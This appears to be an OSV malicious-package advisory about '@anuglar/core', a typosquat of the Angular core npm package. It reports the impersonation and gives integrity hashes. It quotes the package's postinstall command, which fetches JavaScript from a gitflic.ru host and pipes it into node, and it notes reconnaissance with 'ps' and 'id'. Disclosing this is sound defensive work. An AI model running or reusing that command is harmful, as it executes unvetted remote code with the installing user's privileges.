{"id":"MAL-2026-17541","summary":"Malicious code in @anuglar/core (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5f23ef78cc88817166cff7f8fdf3f1839c610880d960d9394e286da232058f98)\nPackage name '@anuglar/core' is a one-character transposition of '@angular/core' and copies the legitimate package's description ('Angular - the core framework'), author ('angular'), and repository URL to impersonate it. The package.json postinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading arbitrary JavaScript from a third-party host (gitflic.ru, fetched via web.archive.org) and piping it directly into node for execution on `npm install`. The fetched code is unpinned, unhashed, and not shipped in the tarball, so its contents can change at any time and are executed with the privileges of the installing user. The script also references `ps` and `id` for host reconnaissance.\n","modified":"2026-10-05T04:15:05.658856446Z","published":"2026-10-05T03:32:22Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-10-05T03:57:37.34447008Z","modified_time":"2026-10-05T03:32:22Z","sha256":"5f23ef78cc88817166cff7f8fdf3f1839c610880d960d9394e286da232058f98","source":"amazon-inspector","versions":["22.2.1"],"id":"IN-MAL-2026-020994"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@anuglar/core/v/22.2.1"}],"affected":[{"package":{"name":"@anuglar/core","ecosystem":"npm","purl":"pkg:npm/%40anuglar/core"},"versions":["22.2.1"],"database_specific":{"indicators":{"package_integrity":[{"filename":"core-22.2.1.tgz","hashes":{"sha1":"cb12f38a3d35bf7d9400843db114fcbe81172751","sha512_sri":"sha512-n+T2S96kVw6a928DUvq+XujARUa/kcoUHJV8TxnSgdzkCB0TrBok/Vh3Xz4TzFX7oCT3gvdLV3pDyP2klZVFTQ=="}}],"evidence_files":[{"path":"package.json","sha256":"2de6dee8c71002d54518aa49e62bffa1081200c0c7ff1a03a0ce791cbfe8f716","tlsh":"6d513624e4f48d6323de6294dd2a4943b138495b5c38bd68b3dd009c8f0e61f21beb9a"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@anuglar/core/MAL-2026-17541.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}]}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}